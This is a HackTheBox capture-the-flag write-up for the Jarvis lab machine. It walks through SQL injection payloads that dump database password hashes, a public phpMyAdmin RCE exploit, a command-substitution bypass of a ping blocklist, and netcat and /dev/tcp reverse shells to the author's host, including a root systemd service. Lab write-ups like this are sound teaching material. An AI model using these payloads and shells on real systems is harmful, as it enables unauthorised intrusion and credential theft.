HackTheBox writeup: Jarvis

Back to HackTheBox! This time I’ll be targeting another Linux box, Jarvis. This box was built by manulqwerty and Ghostpp7.

Let’s get started!

Enumeration

Let’s run a full TCP nmap scan on this box! As usual, I’m using autorecon to automate a number of different scans on this machine while I go out and make coffee. Our nmap scan comes back with the following details:

# Nmap 7.91 scan initiated Tue Dec 21 11:33:57 2021 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /home/dhm/htb/jarvis/results/10.10.10.143/scans/_full_tcp_nmap.txt -oX /home/dhm/htb/jarvis/results/10.10.10.143/scans/xml/_full_tcp_nmap.xml 10.10.10.143
Nmap scan report for 10.10.10.143
Host is up, received user-set (0.046s latency).
Scanned at 2021-12-21 11:34:11 PST for 47s
Not shown: 65532 closed ports
Reason: 65532 conn-refused
PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh     syn-ack OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzv4ZGiO8sDRbIsdZhchg+dZEot3z8++mrp9m0VjP6qxr70SwkE0VGu+GkH7vGapJQLMvjTLjyHojU/AcEm9MWTRWdpIrsUirgawwROic6HmdK2e0bVUZa8fNJIoyY1vPa4uNJRKZ+FNoT8qdl9kvG1NGdBl1+zoFbR9az0sgcNZJ1lZzZNnr7zv/Jghd/ZWjeiiVykomVRfSUCZe5qZ/aV6uVmBQ/mdqpXyxPIl1pG642C5j5K84su8CyoiSf0WJ2Vj8GLiKU3EXQzluQ8QJJPJTjj028yuLjDLrtugoFn43O6+IolMZZvGU9Man5Iy5OEWBay9Tn0UDSdjbSPi1X
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCDW2OapO3Dq1CHlnKtWhDucQdl2yQNJA79qP0TDmZBR967hxE9ESMegRuGfQYq0brLSR8Xi6f3O8XL+3bbWbGQ=
|   256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPuKufVSUgOG304mZjkK8IrZcAGMm76Rfmq2by7C0Nmo
80/tcp    open  http    syn-ack Apache httpd 2.4.25 ((Debian))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
64999/tcp open  http    syn-ack Apache httpd 2.4.25 ((Debian))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We’ll hold off at poking ssh until a bit later. In the meantime, it looks like we have a luxury hotel booking site in PHP on port 80:

On port 64999, we have another (less friendly) HTTP service: Let’s poke around on this first HTTP server on port 80.

The ‘sign in’ button on the homepage doesn’t lead to another path, but it looks like there is some user input available at the URL http://jarvis.htb/rooms-suites.php. Each ‘Book now!’ link on this page points to a PHP script with an argument to the parameter cod.

Presuming this cod variable fills in data on the webpage from a database on the other end, let’s see if we can get the database to spit out anything else.

It does look like we can trigger some database issues by sending over a comment line in the query string:

Let’s see if we can get some more information out of this.

While getting started on SQL injection here, I also began running GoBuster against this HTTP server, which turned up a phpMyAdmin login page.

gobuster dir -u http://supersecurehotel.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt | tee jarvis-gobuster.txt

Crossing my fingers that we can leak some creds from this SQL database and find a login for this page.

SQL Injection

Trying a couple basic UNION attack tests didn’t return any other interesting values, so we’ll try out sqlmap here with the command sqlmap -u "supersecurehotel.htb/room.php?cod=1". Here’s our result:

sqlmap identified the following injection point(s) with a total of 84 HTTP(s) requests:
---
Parameter: cod (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cod=1 AND 7345=7345

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cod=1 AND (SELECT 8568 FROM (SELECT(SLEEP(5)))ihgC)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: cod=-6067 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71707a7a71,0x626d7470535942454a6f43416f6c71736173797053714a6b7969457161424b455968726d6a796754,0x717a766b71),NULL,NULL-- -
---

Let’s change this query up a bit to see where results end up in our HTML result:

view-source:http://jarvis.htb/room.php?cod=-6067%20UNION%20ALL%20SELECT%20%27a%27,%27b%27,%27c%27,%27d%27,%27e%27,%27f%27,%27g%27--%20-

From the source that gets rendered, it looks like the second, third, and fifth parameters from the SELECT statement end up coming through:

	<a href="/images/f" class="room image-popup-link" style="background-image: url(/images/f);"></a>
						<div class="desc text-center">
							<span class="rate-star">e</span>
							<h3><a href="/room.php?cod=a">b</a></h3>
							<p class="price">
								<span class="currency">$</span>
								<span class="price-room">c</span>
								<span class="per">/ per night</span>
							</p>
							<p>d</p>
							<p><a class="btn btn-primary">Go to book!</a></p>
						</div>

Replacing ‘b’ with @@version gives us the version number for this SQL database: 10.1.37-MariaDB-0+deb9u1

Going out on a limb, let’s try to extract some other useful information from here: http://jarvis.htb/room.php?cod=-6067 UNION ALL SELECT 'a',user ,'c','d',password,'f','g' FROM mysql.user -- - This query returns the following chunk of HTML:

	<div class="col-md-4 room-wrap animate-box">
						<a href="/images/f" class="room image-popup-link" style="background-image: url(/images/f);"></a>
						<div class="desc text-center">
							<span class="rate-star">*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0</span>
							<h3><a href="/room.php?cod=a">DBadmin</a></h3>
							<p class="price">
								<span class="currency">$</span>
								<span class="price-room">c</span>
								<span class="per">/ per night</span>
							</p>
							<p>d</p>
							<p><a class="btn btn-primary">Go to book!</a></p>
						</div>
					</div>	<footer id="colorlib-footer" role="contentinfo">

Great! Let’s try to send this hash through to Hashcat. Sure enough we end up cracking it with the result 2d2b7a5e4e637b8fba1d17f40318f277d29964d0:imissyou.

Now let’s see if that can log us in to the phpMyAdmin page.

Great, we’re in!

RCE from phpMyAdmin

Even better, we have the version number for this phpMyAdmin instance and it turns out we can take advantage of a LFI vulnerability, CVE-2018-12613:

It looks like there’s a user on this machine named pepper, so first we’ll try to log in over ssh using imissyou as the password.

┌──(dhm㉿blood)-[~/htb/jarvis/exploit]
└─$ ssh pepper@jarvis.htb                                                                                                                                                  255 ⨯
The authenticity of host 'jarvis.htb (10.10.10.143)' can't be established.
ECDSA key fingerprint is SHA256:oPoKu2vmqVfC1e3TJJ5ZB8yL/2/W2YIrglCm8FTTuSs.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'jarvis.htb,10.10.10.143' (ECDSA) to the list of known hosts.
pepper@jarvis.htb's password:
Permission denied, please try again.
pepper@jarvis.htb's password:
Permission denied, please try again.
pepper@jarvis.htb's password:
pepper@jarvis.htb: Permission denied (publickey,password).

No luck here. Maybe we can find a public key?

Command Execution

Before digging around too much, let’s also look for RCE on this version of phpMyAdmin.

It looks like ExploitDB has published a proof of concept script: https://www.exploit-db.com/exploits/50457.

Lo and behold, it works out of the gate:

┌──(dhm㉿blood)-[~/htb/jarvis/exploit]
└─$ python pma.py 10.10.10.143 80 /phpmyadmin DBadmin imissyou id
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Let’s use it to get a reverse shell on our machine:

┌──(dhm㉿blood)-[~/htb/jarvis/exploit]
└─$ python pma.py 10.10.10.143 80 /phpmyadmin DBadmin imissyou '/bin/nc 10.10.14.7 5555 -e /bin/bash'
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.

────────────────────────────────────────────────────────────────────────────────────
┌──(dhm㉿blood)-[~]
└─$ nc -nlvp 5555
listening on [any] 5555 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.143] 55918
whoami
www-data

Becoming Pepper

Of note, I was able to discover another LFI vulnerability after starting to look around.

This is due to a PHP function in the file /var/www/html/getfileayax.php

www-data@jarvis:/var/www/html$ cat getfileayax.php
cat getfileayax.php
<?php
error_reporting(0);
if($_POST['getfile']){
if(file_get_contents($_POST['getfile'])){
echo '<h4 style="color:black;">'.htmlspecialchars(file_get_contents($_POST['getfile'])).'</h4>';
}
else{
echo '<h2 style="color:red">Nothing to show</h2>';
}
}
else{
header("Location:/index.php");}
?>
www-data@jarvis:/var/www/html$

Unfortunately, it looks like this is still executing in the www-data context.

Here’s an interesting file though:

[!] sud010 Can we list sudo commands without a password?................... yes!
---
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

Looking through simpler.py, there’s a function of note for us:


def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

This script will try to exit upon detection of common bash escape characters, then execute ping followed by whatever command we pass to it.

Is there any way we can break out of this? We can see that backticks are escaped, but the characters $, ( and ) are fair game. Let’s try to use these to run some command substitution in this program’s sudo context.

www-data@jarvis:/var/www/Admin-Utilities$ !! -p
!! -p
sudo -u pepper ./simpler.py -p
***********************************************
     _                 _
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/
                                @ironhackers.es

***********************************************

Enter an IP: $(id)
$(id)


localhost
localhost
ping: groups=1000(pepper): Temporary failure in name resolution
www-data@jarvis:/var/www/Admin-Utilities$

Great! It looks like we can get arbitrary command output through this. Let’s see if we can use it to run a shell as pepper.

After that we can use msfvenom to generate a reverse shell, upload it to /tmp with wget, and execute it with this command substitution here.

Privesc: Pepper to root

Reviewing our SUID binaries, it looks like we have the ability to run systemctl as root. This gives us the ability to create a new service under the root context and have it run whatever command we want. Let’s have it connect a reverse shell as root back to our Kali machine and get a root shell.

I’ll create a file called temp.service in pepper’s home directory:

[Unit]
Description=rev-shell

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.14.7/6667 0>&1"

[Install]
WantedBy=multi-user.target

The ExecStart command here is run when the service starts. WantedBy indicates that it should be able to run in the normal level 3 environment (as opposed to a system-only or recovery environment or in GUI mode).

Once this is set up, we can link it to systemctl with the command systemctl link /home/pepper/temp.service. Then we can enable the service with systemctl enable temp.service, and run it with systemctl start temp.service. If we have a netcat listener on our Kali machine, we should be able to grab a shell!

┌──(dhm㉿blood)-[~]
└─$ nc -nlvp 6667
listening on [any] 6667 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.143] 54670
bash: cannot set terminal process group (18988): Inappropriate ioctl for device
bash: no job control in this shell
root@jarvis:/# id
id
uid=0(root) gid=0(root) groups=0(root)

Tada! We did it.